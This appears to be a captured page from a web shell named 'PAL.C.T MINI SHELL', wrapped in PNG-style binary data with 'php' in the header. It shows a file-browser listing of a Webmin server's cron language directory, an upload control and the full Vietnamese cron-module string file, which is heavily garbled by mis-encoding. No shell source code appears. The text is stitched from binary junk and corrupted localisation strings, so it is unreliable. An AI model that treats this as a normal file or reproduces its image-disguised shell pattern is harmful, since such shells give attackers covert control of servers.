‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/cron/lang/
upload
files >> //usr/libexec/webmin/cron/lang/vi.auto

index_title=Công việc định kỳ theo lịch trình
index_user=Ngưá»i sá»­ dụng
index_active=Chủ động?
index_command=Chỉ huy
index_when=Chạy nhiá»u lúc
index_comment=Sự miêu tả
index_none=Không có công việc định kỳ trên hệ thống này.
index_none2=Không có công việc định kỳ mà bạn có quyá»n truy cập.
index_none3=Bạn chưa có công việc định kỳ nào.
index_create=Tạo một công việc định kỳ mới theo lịch trình.
index_ecreate=Tạo má»™t biến môi trưá»ng má»›i.
index_allow=Kiểm soát ngưá»i dùng truy cập vào các công việc định kỳ.
index_manual=Chỉnh sửa thủ công cron.
index_return=danh sách bạn
index_env=Biến môi trưá»ng
index_move=Di chuyển
index_next=Lần chạy tiếp theo
index_nunknown=không xác định
index_run=Äang chạy?
index_ecmd=Không tìm thấy lệnh $1 để quản lý cấu hình Cron cá»§a ngưá»i dùng. Có lẽ Cron không được cài đặt trên hệ thống này?
index_esingle=Tệp $1 liệt kê các công việc Cron không tồn tại. Có lẽ Cron không được cài đặt trên hệ thống này?
index_ecrondir=Thư mục công việc Cron $1 không tồn tại. Có thể cấu hình của mô-đun không chính xác hoặc Cron chưa được cài đặt?
index_ecrondir_create=Hãy thử tạo thư mục công việc $1 ?
index_delete=Xóa công việc đã chá»n
index_disable=Vô hiệu hóa công việc đã chá»n
index_enable=Kích hoạt công việc đã chá»n
index_esearch=Không có công việc phù hợp với tìm kiếm của bạn cho $1.
index_toomany2=Có quá nhiá»u công việc để hiển thị. Sá»­ dụng mẫu tìm kiếm ở trên để giá»›i hạn danh sách.
index_search=Tìm công việc Cron phù hợp
index_ok=Tìm kiếm
index_searchres=Công việc định kỳ khớp với $1 ..
index_reset=Äặt lại tìm kiếm.
index_econfigcheck=Các công việc định kỳ không thể được quản lý trên hệ thống của bạn, vì cấu hình mô-đun không hợp lệ : $1 
index_stop=Dừng Cron Daemon
index_stopdesc=Tắt quá trình máy chá»§ ná»n <tt>crond</tt> Ä‘ang chạy các công việc cron đã lên lịch. Äiá»u này sẽ ngăn không cho các lệnh thá»±c thi vào những thá»i Ä‘iểm cụ thể cá»§a chúng.
index_start=Khởi động Cron Daemon
index_startdesc=Khởi động quy trình máy chá»§ ná»n <tt>crond</tt> chạy các công việc cron đã lên lịch. <font color=red><b> Äây là Ä‘iá»u bắt buá»™c để các lệnh thá»±c thi vào những thá»i Ä‘iểm cụ thể cá»§a chúng.</font> </font>
index_boot=Khởi động Cron Daemon Boot?
index_bootdesc=Thay đổi cài đặt này để bật hoặc tắt khởi động trình ná»n công việc cron đã lên lịch tại thá»i Ä‘iểm khởi động hệ thống.

edit_title=Chỉnh sửa công việc định kỳ
create_title=Tạo công việc định kỳ
edit_ecannot=Bạn không được phép chỉnh sá»­a công việc định kỳ cho ngưá»i dùng này
edit_details=Chi tiết công việc
edit_user=Thực hiện công việc định kỳ như
edit_active=Chủ động?
edit_next=Thá»i gian chạy tiếp theo
edit_commands=Các lệnh
edit_command=Chỉ huy
edit_comment=Sự miêu tả
edit_input=Nhập lệnh
edit_when=Khi nào thực thi
edit_range=Phạm vi ngày để thực hiện
edit_mins=Phút
edit_hours=Giá»
edit_days=Ngày
edit_months=Tháng
edit_weekdays=Các ngày trong tuần
edit_all=Tất cả
edit_selected=Äã chá»n ..
edit_run=Chạy ngay đi
edit_saverun=Lưu và chạy ngay
edit_clone=Công việc nhân bản
edit_return=công việc lương thấp
edit_ctrl=Lưu ý: Ctrl-click (hoặc nhấp chuá»™t trên Mac) để chá»n và bá» chá»n phút, giá», ngày và tháng.
edit_special1=Lịch trình đơn giản ..
edit_special0=Thá»i gian và ngày được chá»n bên dưới ..
edit_special_hourly=Hàng giá»
edit_special_daily=Hàng ngày (lúc nửa đêm)
edit_special_weekly=Hàng tuần (vào Chủ nhật)
edit_special_monthly=Hàng tháng (vào ngày 1)
edit_special_yearly=Hàng năm (vào ngày 1 tháng 1)
edit_special_reboot=Khi hệ thống khởi động
lcedit_special_hourly=hàng giá»
lcedit_special_daily=hàng ngày (lúc nửa đêm)
lcedit_special_weekly=hàng tuần (vào Chủ nhật)
lcedit_special_monthly=hàng tháng (vào ngày 1)
lcedit_special_yearly=hàng năm (vào ngày 1 tháng 1)
lcedit_special_reboot=khi hệ thống khởi động

save_err=Không thể lưu công việc định kỳ
save_ecmd=Bạn đã không nhập lệnh để thực thi
save_euser=Bạn phải chá»n ngưá»i dùng
save_euser2=Ngưá»i dùng '$1' không tồn tại
save_eallow=Ngưá»i dùng '$1' không được phép truy cập cron
save_ecannot=Bạn không được phép tạo hoặc chỉnh sửa các công việc định kỳ cho '$1'
save_enone=Bạn đã không chá»n bất kỳ $1 nào để thá»±c thi
save_ecannot2=Bạn không được phép tạo công việc định kỳ
save_eidx=Công việc định kỳ đã được lưu thành công, nhưng không thể chạy được vì không tìm thấy!

allow_title=Kiểm soát truy cập Cron
allow_desc=Biểu mẫu này cho phép bạn kiểm soát những ngưá»i dùng nào có thể tạo và chạy các công việc định kỳ.
allow_ecannot=Bạn không thể kiểm soát quyá»n truy cập cá»§a ngưá»i dùng vào cron
allow_all1=Từ chối tất cả ngưá»i dùng
allow_all2=Từ chối tất cả ngưá»i dùng ngoại trừ root
allow_all3=Cho phép tất cả ngưá»i dùng
allow_allow=Chỉ cho phép ngưá»i dùng được liệt kê
allow_deny=Từ chối chỉ liệt kê ngưá»i dùng

env_title1=Chỉnh sá»­a biến môi trưá»ng
env_title2=Tạo biến môi trưá»ng
env_name=Tên biến
env_value=Giá trị
env_user=Dành cho ngưá»i dùng
env_active=Chủ động?
env_details=Chi tiết biến môi trưá»ng
env_err=Không thể lưu biến môi trưá»ng
env_ename=Tên biến thiếu hoặc không hợp lệ
env_order=Lưu ý - Cài đặt biến môi trưá»ng này sẽ chỉ áp dụng cho các công việc Cron sau khi nó trong danh sách các công việc trên trang chính cá»§a mô-Ä‘un.
env_where=Thêm biến môi trưá»ng
env_where2=Di chuyển biến môi trưá»ng
env_top=Trước tất cả các công việc Cron cho ngưá»i dùng
env_bot=Sau tất cả các công việc Cron
env_leave=Vị trí hiện tại

exec_title=Thực thi công việc định kỳ
exec_ecannot=Bạn không được phép thá»±c hiện các công việc định kỳ cho ngưá»i dùng này
exec_cmd=Äầu ra từ lệnh $1 ..
exec_cmdbg=Chạy lệnh $1 làm tiến trình ná»n.
exec_none=Không có đầu ra được tạo ra

acl_users=Có thể chỉnh sửa công việc định kỳ cho
acl_all=Tất cả ngưá»i dùng
acl_this=Ngưá»i dùng webmin hiện tại
acl_only=Chỉ ngưá»i dùng
acl_except=Tất cả ngoại trừ ngưá»i dùng
acl_control=Có thể kiểm soát ngưá»i dùng truy cập vào Cron?
acl_command=Có thể xem và chỉnh sửa các lệnh Cron?
acl_uid=Ngưá»i dùng có UID trong phạm vi
acl_gid=Ngưá»i dùng vá»›i nhóm chính
acl_create=Có thể tạo công việc Cron?
acl_delete=Có thể xóa công việc Cron?
acl_move=Có thể di chuyển công việc Cron?
acl_kill=Có thể chấm dứt công việc Cron?
acl_hourly=Giá»›i hạn việc làm nhiá»u nhất là hàng giá»?
acl_hourlydef=Như được đặt trong Module Config
acl_stop=Có thể dừng và khởi động trình ná»n Cron không?

log_modify=Công việc Cron đã sửa đổi cho $1 
log_modify_l=Công việc Cron đã sửa đổi "$2" cho $1 
log_create=Äã tạo công việc Cron cho $1 
log_create_l=Äã tạo công việc Cron "$2" cho $1 
log_delete=Äã xóa công việc Cron cho $1 
log_exec=Äã thá»±c hiện công việc Cron dưới dạng $1 
log_exec_l=Thực thi công việc Cron "$2" dưới dạng $1 
log_kill=Chấm dứt công việc Cron cho $1 
log_kill_l=Công việc Cron bị chấm dứt "$2" cho $1 
log_allow=Ngưá»i dùng đã thay đổi quyá»n truy cập vào Cron
log_env_create=Tạo biến môi trưá»ng cho $1 
log_env_modify=Biến môi trưá»ng đã sá»­a đổi cho $1 
log_env_delete=Äã xóa biến môi trưá»ng cho $1 
log_move=Äã chuyển công việc Cron cho $1 
log_crons_delete=Äã xóa $1 công việc định kỳ
log_crons_disable=Công việc $1 Cron bị vô hiệu hóa
log_crons_enable=Äã bật $1 công việc định kỳ
log_stop=Daemon cron bị dừng
log_start=Äã khởi động daemon cron
log_bootup=Äã bật cron daemon khi khởi động
log_bootdown=Daemon cron bị vô hiệu hóa khi khởi động

ecopy=Äã phát hiện lá»—i trong cấu hình Cron má»›i: $1 $2 

when_min=mỗi phút
when_hour=má»—i giỠở $1 qua giá»
when_day=mỗi ngày ở $2:$1 
when_month=vào ngày $3 mỗi tháng ở $2:$1 
when_weekday=mỗi $3 ở $2:$1 
when_cron=tại thá»i Ä‘iểm định kỳ $1 
when_interval=cứ sau 1 giây
when_boot=tại thá»i Ä‘iểm khởi động

ucwhen_min=Mỗi phút
ucwhen_hour=Mỗi giỠở $1 giỠqua
ucwhen_day=Mỗi ngày ở mức $2:$1 
ucwhen_month=Vào ngày $3 mỗi tháng ở mức $2:$1 
ucwhen_weekday=Mỗi $3 ở $2:$1 
ucwhen_cron=Tại thá»i Ä‘iểm định kỳ $1 
ucwhen_interval=Cứ sau 1 giây
ucwhen_boot=Lúc khởi động

move_err=Không thể chuyển công việc Cron
move_etype=Công việc này không thể được di chuyển

kill_err=Không thể chấm dứt công việc Cron
kill_ecannot=Bạn không được phép chấm dứt công việc này
kill_egone=Không còn chạy
kill_ekill=Giết thất bại : $1 
kill_title=Chấm dứt công việc Cron
kill_rusure=Bạn có chắc chắn muốn chấm dứt quá trình $1 bằng PID $2 không?
kill_rusure2=Bạn có chắc chắn muốn chấm dứt quá trình $1 bằng PID $2 và tất cả các quy trình phụ của nó không?
kill_ok=Vâng, chấm dứt nó

range_all=Chạy vào bất cứ ngày nào
range_start=Chỉ chạy từ $1 
range_end=đến 1
range_estart=Ngày bắt đầu bị thiếu hoặc không hợp lệ trong phạm vi để chạy
range_eend=Ngày kết thúc bị thiếu hoặc không hợp lệ trong phạm vi để chạy

delete_err=Không thể xóa công việc Cron
delete_enone=Không được chá»n

manual_title=Chỉnh sửa thủ công Cron Jobs
manual_edit=Tập tin cron để chỉnh sửa:
manual_ok=Biên tập
manual_editing=Sử dụng hộp văn bản bên dưới để chỉnh sửa các công việc Cron trong $1. Hãy cẩn thận, vì sẽ không có xác nhận nào được thực hiện bởi Webmin!
manual_efile=Tập tin được chá»n không hợp lệ!
manual_ecannot=Bạn không được phép chỉnh sửa thủ công cron

stop_err=Không dừng được daemon
start_err=Không khởi động được daemon
stop_ecannot=Bạn không được phép dừng daemon
start_ecannot=Bạn không được phép khởi động daemon
bootup_ecannot=Bạn không được phép kích hoạt daemon khi khởi động
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚